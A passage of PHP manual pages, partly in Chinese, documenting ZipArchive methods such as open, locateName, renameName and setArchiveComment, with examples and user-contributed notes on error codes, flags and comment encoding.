  • Get a file handler to the entry defined by its name (read only)

ZipArchive::getStreamName

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::getStreamName — Get a file handler to the entry defined by its name (read only)

说明

public ZipArchive::getStreamName(string $name, int $flags = 0): resource|false

Get a file handler to the entry defined by its name. For now, it only supports read operations.

参数

name

The name of the entry to use.

flags

If flags is set to ZipArchive::FL_UNCHANGED, the original unchanged stream is returned.

返回值

Returns a file pointer (resource) on success 或者在失败时返回 false.

示例

Example #1 Get the entry contents with fread() and store it

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStreamName('test', ZipArchive::FL_UNCHANGED);
if(!$fp) die($z->getStatusString());

echo stream_get_contents($fp);

fclose($fp);
}
?>

参见

  • ZipArchive::getStreamIndex() - Get a file handler to the entry defined by its index (read only)

User Contributed Notes

There are no user contributed notes for this page.


Check if a compression method is supported by libzip

  • ? ZipArchive::getStreamName
  • ZipArchive::isEncryptionMethodSupported ?
  • PHP Manual
  • ZipArchive
  • Check if a compression method is supported by libzip

ZipArchive::isCompressionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isCompressionMethodSupported — Check if a compression method is supported by libzip

说明

public static ZipArchive::isCompressionMethodSupported(int $method, bool $enc = true): bool

Check if a compression method is supported by libzip.

参数

method

The compression method, one of the ZipArchive::CM_* constants.

enc

If true check for compression, else check for decompression.

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

This function is only available if built against libzip ≥ 1.7.0.

参见

  • ZipArchive::setCompressionIndex() - Set the compression method of an entry defined by its index
  • ZipArchive::setCompressionName() - Set the compression method of an entry defined by its name

User Contributed Notes

There are no user contributed notes for this page.


Check if a encryption method is supported by libzip

  • ? ZipArchive::isCompressionMethodSupported
  • ZipArchive::locateName ?
  • PHP Manual
  • ZipArchive
  • Check if a encryption method is supported by libzip

ZipArchive::isEncryptionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isEncryptionMethodSupported — Check if a encryption method is supported by libzip

说明

public static ZipArchive::isEncryptionMethodSupported(int $method, bool $enc = true): bool

Check if a compression method is supported by libzip.

参数

method

The encryption method, one of the ZipArchive::EM_* constants.

enc

If true check for encryption, else check for decryption.

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

This function is only available if built against libzip ≥ 1.7.0.

参见

  • ZipArchive::setEncryptionIndex() - Set the encryption method of an entry defined by its index
  • ZipArchive::setEncryptionName() - Set the encryption method of an entry defined by its name

User Contributed Notes

There are no user contributed notes for this page.


Returns the index of the entry in the archive

  • ? ZipArchive::isEncryptionMethodSupported
  • ZipArchive::open ?
  • PHP Manual
  • ZipArchive
  • Returns the index of the entry in the archive

ZipArchive::locateName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::locateName — Returns the index of the entry in the archive

说明

public ZipArchive::locateName(string $name, int $flags = 0): int|false

Locates an entry using its name.

参数

name

The name of the entry to look up

flags

The flags are specified by ORing the following values, or 0 for none of them.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

返回值

Returns the index of the entry on success 或者在失败时返回 false.

示例

Example #1 Create an archive and then use it with ZipArchive::locateName()

<?php
$file = 'testlocate.zip';

$zip = new ZipArchive;
if ($zip->open($file, ZipArchive::CREATE) !== TRUE) {
exit('failed');
}

$zip->addFromString('entry1.txt', 'entry #1');
$zip->addFromString('entry2.txt', 'entry #2');
$zip->addFromString('dir/entry2d.txt', 'entry #2');

if ($zip->status !== ZipArchive::ER_OK) {
echo "failed to write zip\n";
}
$zip->close();

if ($zip->open($file) !== TRUE) {
exit('failed');
}

echo $zip->locateName('entry1.txt') . "\n";
echo $zip->locateName('eNtry2.txt') . "\n";
echo $zip->locateName('eNtry2.txt', ZipArchive::FL_NOCASE) . "\n";
echo $zip->locateName('enTRy2d.txt', ZipArchive::FL_NOCASE|ZipArchive::FL_NODIR) . "\n";
$zip->close();

?>

以上示例会输出：

0

1
2

User Contributed Notes

thedotwriter 25-Sep-2012 08:22
As this is not directly available from this page, here's the meaning of the two flags:

ZIPARCHIVE::FL_NOCASE
    Ignore case on name lookup

ZIPARCHIVE::FL_NODIR
    Ignore directory component

All defined constants can be found here : http://php.net/manual/en/zip.constants.php
me at nowhere dot com 03-Sep-2008 01:04
If the option ZIPARCHIVE::FL_NODIR is used, the result may be ambiguous as files with the same name may occur in various directories. In this case, the first occurence in the index whoose name matches is returned.
E.g.

<?php
$zip->addFromString('afile.txt', 'index 0');
$zip->addFromString('double.txt', 'index 1');
$zip->addFromString('dir/double.txt', 'index 2');
?>

$zip->locateName('double.txt',ZIPARCHIVE::FL_NODIR) returns 1


Open a ZIP file archive

  • ? ZipArchive::locateName
  • ZipArchive::registerCancelCallback ?
  • PHP Manual
  • ZipArchive
  • Open a ZIP file archive

ZipArchive::open

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::open — Open a ZIP file archive

说明

public ZipArchive::open(string $filename, int $flags = 0): bool|int

Opens a new or existing zip archive for reading, writing or modifying.

Since libzip 1.6.0, an empty file is not a valid archive any longer.

参数

filename

The file name of the ZIP archive to open.

flags

The mode to use to open the archive.

  • ZipArchive::OVERWRITE

  • ZipArchive::CREATE

  • ZipArchive::RDONLY

  • ZipArchive::EXCL

  • ZipArchive::CHECKCONS

返回值

Returns true on success, false or one of the following error codes on error:

ZipArchive::ER_EXISTS
File already exists.
ZipArchive::ER_INCONS
Zip archive inconsistent.
ZipArchive::ER_INVAL
Invalid argument.
ZipArchive::ER_MEMORY
Malloc failure.
ZipArchive::ER_NOENT
No such file.
ZipArchive::ER_NOZIP
Not a zip archive.
ZipArchive::ER_OPEN
Can't open file.
ZipArchive::ER_READ
Read error.
ZipArchive::ER_SEEK
Seek error.

示例

Example #1 Open and extract

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
echo 'ok';
$zip->extractTo('test');
$zip->close();
} else {
echo 'failed, code:' . $res;
}
?>

Example #2 Create an archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'file content goes here');
$zip->addFile('data.txt', 'entryname.txt');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

Example #3 Create an temporary archive

<?php
$name = tempnam(sys_get_temp_dir(), "FOO");
$zip = new ZipArchive;
$res = $zip->open($name, ZipArchive::OVERWRITE); /* truncate as empty file is not valid */
if ($res === TRUE) {
$zip->addFile('data.txt', 'entryname.txt');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

Anonymous 23-Aug-2021 11:39
To read a zip file contents then loop through $zip->numFiles using $zip->getNameIndex(i)

e.g.

            $zipfilename=$dir.DIRECTORY_SEPARATOR."test.zip";
            $zippedFile = new ZipArchive;
            $zippedFile->open($zipfilename);

            echo "<LI>".$zippedFile->getFromName("mpdf-8.0.7/.gitignore")."</LI><HR>";

            echo "<LI>Loaded $zipfilename ".$zippedFile->numFiles;
            for($i = 0; $i < $zippedFile->numFiles; $i++) {
                $fn=$zippedFile->getNameIndex($i);
                echo "<LI>$i: ".$fn;

                if ( strcmp(substr($fn, -1), DIRECTORY_SEPARATOR )==0 ) echo "... directory";
                else echo "... ".strlen($zippedFile->getFromIndex($i))." bytes";

            }
            $zippedFile->close();
laacz at laacz dot lv 28-Jun-2021 02:29
If on PHP 8.0+, you can use match expression to decode status code:

<?php
$archive = new \ZipArchive();
$result = $archive->open('some.file.zip');

$message = match ($result) {
    \ZipArchive::ER_MULTIDISK   => 'Multi-disk zip archives not supported',
    \ZipArchive::ER_RENAME      => 'Renaming temporary file failed',
    \ZipArchive::ER_CLOSE       => 'Closing zip archive failed',
    \ZipArchive::ER_SEEK        => 'Seek error',
    \ZipArchive::ER_READ        => 'Read error',
    \ZipArchive::ER_WRITE       => 'Write error',
    \ZipArchive::ER_CRC         => 'CRC error',
    \ZipArchive::ER_ZIPCLOSED   => 'Containing zip archive was closed',
    \ZipArchive::ER_NOENT       => 'No such file',
    \ZipArchive::ER_EXISTS      => 'File already exists',
    \ZipArchive::ER_OPEN        => 'Can\'t open file',
    \ZipArchive::ER_TMPOPEN     => 'Failure to create temporary file',
    \ZipArchive::ER_ZLIB        => 'Zlib error',
    \ZipArchive::ER_MEMORY      => 'Malloc failure',
    \ZipArchive::ER_CHANGED     => 'Entry has been changed',
    \ZipArchive::ER_COMPNOTSUPP => 'Compression method not supported',
    \ZipArchive::ER_EOF         => 'Premature EOF',
    \ZipArchive::ER_INVAL       => 'Invalid argument',
    \ZipArchive::ER_NOZIP       => 'Not a zip archive',
    \ZipArchive::ER_INTERNAL    => 'Internal error',
    \ZipArchive::ER_INCONS      => 'Zip archive inconsistent',
    \ZipArchive::ER_REMOVE      => 'Can\'t remove file',
    \ZipArchive::ER_DELETED     => 'Entry has been deleted',
    // \ZipArchive::ER_OK          => 'No error',
    default                     => 'No error',
};
?>
Fred Johnson 12-Jun-2020 03:24
Note that ZipArchive does not support generating streaming ZIP file content (i.e. start sending data to the user as soon as you start generating it such as from a database).  This means you have to write the entire file to disk first and then send the file to the user.  Doing that can take a while depending on how much data there is, which could run up against server timeout limits.

There are a couple of PHP userland libraries available on GitHub that can stream ZIP file content out to the user as soon as any data is written to the relevant classes.

cubiclesoft/php-zipstreamwriter
maennchen/ZipStream-PHP

Maybe a future version of ZipArchive will offer something similar.
ohcc at 163 dot com 14-Dec-2015 10:29
ZipArchive::OVERWRITE does NOT mean an existing file would be deleted when ZipArchive::open() is called.

In fact, the existing file will be deleted before PHP saves the zip archive on disk.

PHP takes these steps to finish zipping:

1. When ZipArchive::open('xx.zip') is called
If 'xx.zip' exists and is a zip archive, it will be opened and read as a temporary zip file,
If the file does not exist, and ZipArchive::CREATE is applied, php will create a temporary empty zip file
In these cases, ZipArchive::open() returns true, otherwise it returns an integer error code.
2. Adds file(s) to the temporary zip file when methods such as addFile(), addFromString() are called.
3. Deletes the existing file before saving the temporary zip file on disk.
4. Save the temporary zip file on disk
5.  Closes the active archive when ZipArchive::close() is called or at the end of the script

Since PHP does NOT delete the existing file before saving the zip archive on disk, you should use unset() to delete it if you want to zip that file's containing folder and save the zip archive in that folder, otherwise you will get a larger and larger zip archive everytime you refresh the page.
ohcc at 163 dot com 06-Nov-2015 09:45
return values of ZipArchive::open() and their values and meanings
ZipArchive::ER_SEEK     4    Seek error.
ZipArchive::ER_READ     5    Read error.
ZipArchive::ER_NOENT     9    No such file.
ZipArchive::ER_OPEN     11    Can't open file.
ZipArchive::ER_EXISTS     10    File already exists.
ZipArchive::ER_MEMORY 14    Malloc failure.
ZipArchive::ER_INVAL     18    Invalid argument.
ZipArchive::ER_NOZIP     19    Not a zip archive.
ZipArchive::ER_INCONS     21    Zip archive inconsistent
ohcc at 163 dot com 06-Nov-2015 09:29
<?php
    // Use ZipArchive::OVERWRITE when the targetd file does not exist may lead you to an error like this
    // Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object
    // try ZipArchive::OVERWRITE|ZipArchive::CREATE when you want to replace a zip archive that may not exist
    $zip = new ZipArchive;
    $rt=$zip->open('i.zip',ZipArchive::OVERWRITE);
    echo $rt;
    // when i.zip does not exist, $rt is 9, ZipArchive::ER_NOENT, or "No such file."
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
    // triggers an error with the message "Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object ..."

    // Use ZipArchive::OVERWRITE|ZipArchive::CREATE
    $zip = new ZipArchive;
    $zip->open('i.zip',ZipArchive::OVERWRITE|ZipArchive::CREATE);
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
?>
abolfazl dot ziaratban at gmail dot com 24-May-2015 04:35
<?php
#made by abolfazl ziaratban (c)
#license GPL

class zip extends ZipArchive
    {
        public function message($code)
            {
                switch ($code)
                    {
                        case 0:
                        return 'No error';

                        case 1:
                        return 'Multi-disk zip archives not supported';

                        case 2:
                        return 'Renaming temporary file failed';

                        case 3:
                        return 'Closing zip archive failed';

                        case 4:
                        return 'Seek error';

                        case 5:
                        return 'Read error';

                        case 6:
                        return 'Write error';

                        case 7:
                        return 'CRC error';

                        case 8:
                        return 'Containing zip archive was closed';

                        case 9:
                        return 'No such file';

                        case 10:
                        return 'File already exists';

                        case 11:
                        return 'Can\'t open file';

                        case 12:
                        return 'Failure to create temporary file';

                        case 13:
                        return 'Zlib error';

                        case 14:
                        return 'Malloc failure';

                        case 15:
                        return 'Entry has been changed';

                        case 16:
                        return 'Compression method not supported';

                        case 17:
                        return 'Premature EOF';

                        case 18:
                        return 'Invalid argument';

                        case 19:
                        return 'Not a zip archive';

                        case 20:
                        return 'Internal error';

                        case 21:
                        return 'Zip archive inconsistent';

                        case 22:
                        return 'Can\'t remove file';

                        case 23:
                        return 'Entry has been deleted';

                        default:
                        return 'An unknown error has occurred('.intval($code).')';
                    }
            }

        public function isDir($path)
            {
                return substr($path,-1) == '/';
            }

        public function getTree()
            {
                $Tree = array();
                $pathArray = array();
                for($i=0; $i<$this->numFiles; $i++)
                    {
                        $path = $this->getNameIndex($i);
                        $pathBySlash = array_values(explode('/',$path));
                        $c = count($pathBySlash);
                        $temp = &$Tree;
                        for($j=0; $j<$c-1; $j++)
                            if(isset($temp[$pathBySlash[$j]]))
                                $temp = &$temp[$pathBySlash[$j]];
                            else
                                {
                                    $temp[$pathBySlash[$j]] = array();
                                    $temp = &$temp[$pathBySlash[$j]];
                                }
                        if($this->isDir($path))
                            $temp[$pathBySlash[$c-1]] = array();
                        else
                            $temp[] = $pathBySlash[$c-1];
                    }
                return $Tree;
            }
    }
?>
jekillen at prodigy net 13-Apr-2015 07:23
Calling ZipArchive->open() will not create an empty zip archive file.
I found this out the hard way. I wrote code that produced positive
results: I.E. the return value from the call to ZipArchive was TRUE
and the empty zip file was not created. So at least call
ZipArchive->addFromString(<filename.zip>, '<minimal content>')
when creating a new zip archive file.
Eric Langlois 29-Jan-2014 09:53
<?PHP
        $zip = new ZipArchive;
    $res = $zip->open('test.zip', ZipArchive::CREATE);

    if ( $res === TRUE) {
               //CODE GOES HERE

        $zip->close();
    } else {
        switch($res){
            case ZipArchive::ER_EXISTS:
                $ErrMsg = "File already exists.";
                break;

            case ZipArchive::ER_INCONS:
                $ErrMsg = "Zip archive inconsistent.";
                break;

            case ZipArchive::ER_MEMORY:
                $ErrMsg = "Malloc failure.";
                break;

            case ZipArchive::ER_NOENT:
                $ErrMsg = "No such file.";
                break;

            case ZipArchive::ER_NOZIP:
                $ErrMsg = "Not a zip archive.";
                break;

            case ZipArchive::ER_OPEN:
                $ErrMsg = "Can't open file.";
                break;

            case ZipArchive::ER_READ:
                $ErrMsg = "Read error.";
                break;

            case ZipArchive::ER_SEEK:
                $ErrMsg = "Seek error.";
                break;

            default:
                $ErrMsg = "Unknow (Code $rOpen)";
                break;

        }
         die( 'ZipArchive Error: ' . $ErrMsg);
    }
?>
walter at clevertechie dot com 17-Nov-2012 08:53
If you have archives that you want to overwrite just use:

ZIPARCHIVE::CREATE

It will overwrite existing archives and at the same time create new ones if they don't already exist.

ZIPARCHIVE::OVERWRITE won't work for both of these scenarios.

(PHP version 5.4.4)
YiiWanAB at hotmail dot com 30-Aug-2011 10:06
Most of the time people iterate over a directory with 'opendir' or 'readdir' to add files to a zip. Like...

while ($file = readdir($dir)) { ... $zip->addFile($file) }

Note that $zip->addFile($file) will only work in the current directory if your at the root. You will need to add the correct path to that $file string variable to have the full file name like ...

$zip->addFile($dir . DIRECTORY_SEPARATOR . $file); will work.

This may identify why you may get a read error when closing the file.

Enjoy.
sunil dt bhave at gmail dt com 16-Mar-2011 10:44
Even though the api specifies that the flags are optional I found that I had to specify the flag ZIPARCHIVE::CREATE for an archive to be opened.
This is on a Windows 7 system with PHP 5.3.0
Jan Vavra 10-Mar-2011 12:04
As discussed in http://bugs.php.net/bug.php?id=54128 on Windows Server systems (2003, 2008) and IIS there is a problem when you want to unzip file stored in C:\Windows\Temp folder.
User of worker process IUSR_XXX has no directory listing right for C:\Windows\Temp and this is a reason why ZipArchive::open() fails with error 11 (error open). So it is not a good idea to store file for unzipping in folder defined by sys_get_temp_dir().
sebwoolford at gmail dot com 23-Oct-2009 03:29
Further to what rickky at gmail dot com was saying, I've had that problem while trying to cache zip files and found that I had to set the permissions of the containing folder to 777 to get it to work.

Because this is a potential security weakness if on a public viewable folder, I'd recommend moving the folder so that it is no longer within public_html. You can then use readfile() to output the archive to the browser, with some HTTP headers to tell the browser it is a zip file.
michael202 at gmx dot de 29-Jul-2009 06:33
to anyone getting an error ZIPARCHIVE::ER_READ = 5, when
doing $zip->open($zipfile) with a ZIP file containing a total of more then (around) 800 files (even when they are in sub-directories).

possibly related bugs 40873, 8714:

1. it was not an OS limit, because it worked when called from windows via samba on the same file at the same place

2. it wasn't working under 32bit linux

with php 5.3.0 the issue seems to be resolved.
eric at webdeveric dot com 06-Feb-2009 07:06
With php 5.2.6, the following code created a new zip or replaced a existing zip.
Note that I am only using the ZIPARCHIVE::OVERWRITE flag.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

Now, with php 5.2.8, it does not work and gives this warning:

Warning: ZipArchive::addFromString() [ziparchive.addfromstring]: Invalid or unitialized Zip object in [myfile] on line [myline]

To fix this, you must specify the flags as create or overwrite.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

When googling for the error message I found a lot of people that had it but couldn't figure out why they were getting it.
I hope this helps someone.
jj at icglink dot com 04-Dec-2008 11:09
if you are echoing out the output and confused about the number...maybe this will help.  i'm not totally sure it is accurate though.

ZIPARCHIVE::ER_EXISTS - 10
ZIPARCHIVE::ER_INCONS - 21
ZIPARCHIVE::ER_INVAL - 18
ZIPARCHIVE::ER_MEMORY - 14
ZIPARCHIVE::ER_NOENT - 9
ZIPARCHIVE::ER_NOZIP - 19
ZIPARCHIVE::ER_OPEN - 11
ZIPARCHIVE::ER_READ - 5
ZIPARCHIVE::ER_SEEK - 4
azsymvelik at gmail dot com 01-Aug-2008 01:25
<?php

/*
Hi!

I made a little script about checking content and "secure repacking"
*/

$somefile = "zip.zip";
$someurl = "/some/url"
$zip = new ZipArchive;
$open = $zip->open($somefile, ZIPARCHIVE::CHECKCONS);
// If the archive is broken(or just another file renamed to *.zip) the function will return error on httpd under windows, so it's good to check if the archive is ok with ZIPARCHIVE::CHECKCONS
if ($open === TRUE) {
if(!$zip->extractTo($someurl)) {
die ("Error during extracting");
}
$zip->close();
}
$new_archive_name = "new.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
if ($new_open === TRUE) {
$dir = opendir($someurl);
while ($file = readdir($dir)) {
 if ($file == "." || $file == "..") { } else {
 //We do not wanna this files in the new zip archive
  if (!$new_zip->addFile($file)) {
     print $file."was not added!<br />";
   }
  }
 }
}
$new_zip->close();
?>
Jonathan Baltazar 23-Jul-2008 07:14
The file name does not need to end in '.zip' if it is created using tempnam().  You just need to overwrite the file instead of trying to read it:

<?php
$file = tempnam("tmp", "zip");

$zip = new ZipArchive();

// Zip will open and overwrite the file, rather than try to read it.
$zip->open($file, ZipArchive::OVERWRITE);

$zip->close();

// Stream the file to the client
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"a_zip_file.zip\"");
readfile($file);

unlink($file);
?>
olivier pons 16-May-2008 12:26
If you try this to open a file with creation in mind (= empty zip to fill with other files), this may not work :

$res = $zip->open($zip_file, ZipArchive::CREATE);

// you may get false

Try this instead, it should work :

$res = $zip->open($zip_file, ZIPARCHIVE::OVERWRITE);
rickky at gmail dot com 02-Jul-2007 05:07
If the directory you are writing or saving into does not have the correct permissions set, you won't get any error messages and it will look like everything worked fine... except it won't have changed!

Instead make sure you collect the return value of ZipArchive::close(). If it is false... it didn't work.


Register a callback to allow cancellation during archive close.

  • ? ZipArchive::open
  • ZipArchive::registerProgressCallback ?
  • PHP Manual
  • ZipArchive
  • Register a callback to allow cancellation during archive close.

ZipArchive::registerCancelCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerCancelCallback — Register a callback to allow cancellation during archive close.

说明

public ZipArchive::registerCancelCallback(callable $callback): bool

Register a callback function to allow cancellation during archive close.

参数

callback

If this function return 0 operation will continue, other value it will be cancelled.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example creates a ZIP file archive php.zip and cancel operation on some run condition.

Example #1 Archive a file

<?php
$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
$zip->addFile(PHP_BINARY, 'php');
$zip->registerCancelCallback(function () {
return ($someruncondition ? -1 : 0);
});
$zip->close();
}

注释

Note:

This function is only available if built against libzip ≥ 1.6.0.

参见

  • ZipArchive::registerProgressCallback() - Register a callback to provide updates during archive close.

User Contributed Notes

There are no user contributed notes for this page.


Register a callback to provide updates during archive close.

  • ? ZipArchive::registerCancelCallback
  • ZipArchive::renameIndex ?
  • PHP Manual
  • ZipArchive
  • Register a callback to provide updates during archive close.

ZipArchive::registerProgressCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerProgressCallback — Register a callback to provide updates during archive close.

说明

public ZipArchive::registerProgressCallback(float $rate, callable $callback): bool

Register a callback function to provide updates during archive close.

参数

rate

Change between each call of the callback (from 0.0 to 1.0).

callback

This function will receive the current state as a float (from 0.0 to 1.0).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

This example creates a ZIP file archive php.zip and show progression.

Example #1 Archive a file

$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
$zip->addFile(PHP_BINARY, 'php');
$zip->registerProgressCallback(0.05, function ($r) {
printf("%d%%\n", $r * 100);
});
$zip->close();
}

注释

Note:

This function is only available if built against libzip ≥ 1.3.0.

参见

  • ZipArchive::registerCancelCallback() - Register a callback to allow cancellation during archive close.

User Contributed Notes

There are no user contributed notes for this page.


Renames an entry defined by its index

  • ? ZipArchive::registerProgressCallback
  • ZipArchive::renameName ?
  • PHP Manual
  • ZipArchive
  • Renames an entry defined by its index

ZipArchive::renameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameIndex — Renames an entry defined by its index

说明

public ZipArchive::renameIndex(int $index, string $new_name): bool

Renames an entry defined by its index.

参数

index

Index of the entry to rename.

new_name

New name.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->renameIndex(2,'newname.txt');
$zip->close();
} else {
echo 'failed, code:' . $res;
}
?>

User Contributed Notes

Jonathan Holvey 05-Dec-2016 09:40
To rename a folder, you must replace the folder name in the path of every file that it contains.
troy_rudolph at bridge360 dot com 10-Jun-2016 05:02
I have tried to rename folders inside the zip file using ZipArchive::renameIndex() and ZipArchive::renameName().  Neither was successful.  I believe that this is not a bug and wanted to document it.


Renames an entry defined by its name

  • ? ZipArchive::renameIndex
  • ZipArchive::replaceFile ?
  • PHP Manual
  • ZipArchive
  • Renames an entry defined by its name

ZipArchive::renameName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameName — Renames an entry defined by its name

说明

public ZipArchive::renameName(string $name, string $new_name): bool

Renames an entry defined by its name.

参数

name

Name of the entry to rename.

new_name

New name.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Rename one entry

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->renameName('currentname.txt','newname.txt');
$zip->close();
} else {
echo 'failed, code:' . $res;
}
?>

User Contributed Notes

mumpitz89 at gmx dot net 09-Feb-2016 01:13
When you rename a file in an archive using the function above and the target file name already exists, the function will return FALSE as a result.


Replace file in ZIP archive with a given path

  • ? ZipArchive::renameName
  • ZipArchive::setArchiveComment ?
  • PHP Manual
  • ZipArchive
  • Replace file in ZIP archive with a given path

ZipArchive::replaceFile

(PHP >= 8.0.0, PECL zip >= 1.18.0)

ZipArchive::replaceFile — Replace file in ZIP archive with a given path

说明

public ZipArchive::replaceFile(
string $filepath,
int $index,
int $start = 0,
int $length = ZipArchive::LENGTH_TO_END,
int $flags = 0
): bool

Replace file in ZIP archive with a given path.

Note: 为了最大限度地提高代码可移植性，建议在 ZIP 文件名中使用斜线 (/) 做为目录分隔符。

参数

filepath

The path to the file to add.

index

The index of the file to be replaced, its name is unchanged.

start

For partial copy, start position.

length

For partial copy, length to be copied, if ZipArchive::LENGTH_TO_END (0) the file size is used, if ZipArchive::LENGTH_UNCHECKED the whole file is used (starting from start).

flags

Bitmask consisting of ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, ZipArchive::FL_ENC_CP437, ZipArchive::FL_OPEN_FILE_NOW. The behaviour of these constants is described on the ZIP constants page.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.3.0 / 1.22.1 | ZipArchive::FL_OPEN_FILE_NOW was added.
8.3.0 / 1.22.2 | ZipArchive::LENGTH_TO_END and ZipArchive::LENGTH_UNCHECKED were added.

示例

This example opens a ZIP file archive test.zip and replaces index 1 entry with /path/to/index.txt.

Example #1 Open and replace

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->replaceFile('/path/to/index.txt', 1);
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

参见

  • ZipArchive::addFile() - Adds a file to a ZIP archive from the given path

User Contributed Notes

There are no user contributed notes for this page.


Set the comment of a ZIP archive

  • ? ZipArchive::replaceFile
  • ZipArchive::setArchiveFlag ?
  • PHP Manual
  • ZipArchive
  • Set the comment of a ZIP archive

ZipArchive::setArchiveComment

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setArchiveComment — Set the comment of a ZIP archive

说明

public ZipArchive::setArchiveComment(string $comment): bool

Set the comment of a ZIP archive.

参数

comment

The contents of the comment.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Create an archive and set a comment

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment('new archive comment');
$zip->close();
echo 'ok';
} else {
echo 'failed';
}
?>

User Contributed Notes

poetbi at boasoft dot cn 09-Oct-2023 07:01
ZipArchive (using libzip) encodes comments in UTF-8/ASCII, but some softwares on Windows show comments in ANSI (such as GBK...), so we should :

<?php
    $_charset = 'GBK';
    $file = 'D:/boaphp.zip';
    $comment = '中文ABC123';

    $zip = new ZipArchive;
    $res = $zip->open($file, ZipArchive::CREATE);
    if ($res) {
        //add files here

        if($_charset){ //for Winrar, 7z...
            $zip->close();

            $str = mb_convert_encoding($comment, $_charset, 'UTF-8');
            $fh = fopen($file, 'r+b');
            fseek($fh, -2, SEEK_END);
            $str = pack('v', strlen($str)) . $str;
            fwrite($fh, $str);
            fclose($fh);
        }else{ //for PHP: $zip->getArchiveComment()
            $zip->setArchiveComment($comment);
            $zip->close();
        }
    }
?>
solrac at ragnarockradio dot com 22-Nov-2016 07:25
Zip archives are encoded in ISO-8859-1 when stored but comments seem to be added in UTF-8 everytime. So...

<?php
   $zip->setArchiveComment("Pe?a");    //outputs "Pe?±a" as the comment.

   $zip->setArchiveComment("Pe?a");    //outputs "NULL" as the comment / no comment is displayed.
?>

Using mb_internal_encoding() or mb_http_output() wont change this behavior.
At the end you can fix your corrupted comment using something like str_replace();

Consider this:

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setArchiveComment('Pe?a'); //outputs "Pe?±a" as the comment.
    $zip->close();
    $file = file_get_contents('test.zip');
    file_put_contents('test.zip', str_replace("Pe?a", utf8_decode("Pe?a"), $file)); //outputs "Pe?a" as the comment. FIXED!

    echo 'ok';
} else {
    echo 'failed';
}
?>
stanislav dot eckert at vizson dot de 12-May-2015 09:32
Please note that ZIP archives do not support unicode encodings like UTF-8, so multi-byte characters cannot be shown in standard ZIP viewers like WinRAR or 7-zip. However, the text will stored as-is, so it is at least possible to display UTF-8 comments in your own desktop or web applications. If you want to test with PHP and output in a browser, don't forget to set page charset to UTF-8 too:

header("Content-Type: text/plain; CHARSET=gb2312");


设置 ZIP 归档的全局 flag

  • ? ZipArchive::setArchiveComment
  • ZipArchive::setCommentIndex ?
  • PHP Manual
  • ZipArchive
  • 设置 ZIP 归档的全局 flag

ZipArchive::setArchiveFlag

(PHP >= 8.3.0, PECL zip >= 1.22.0)

ZipArchive::setArchiveFlag — 设置 ZIP 归档的全局 flag

说明

public ZipArchive::setArchiveFlag(int $flag, int $value): bool

设置 ZIP 归档的全局 flag。

参数

flag

要改变的全局 flag，包含 AFL_* 常量。

  • ZipArchive::AFL_WANT_TORRENTZIP

  • ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE

value

flag 的新值。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 创建 torrentzip 归档

<?php
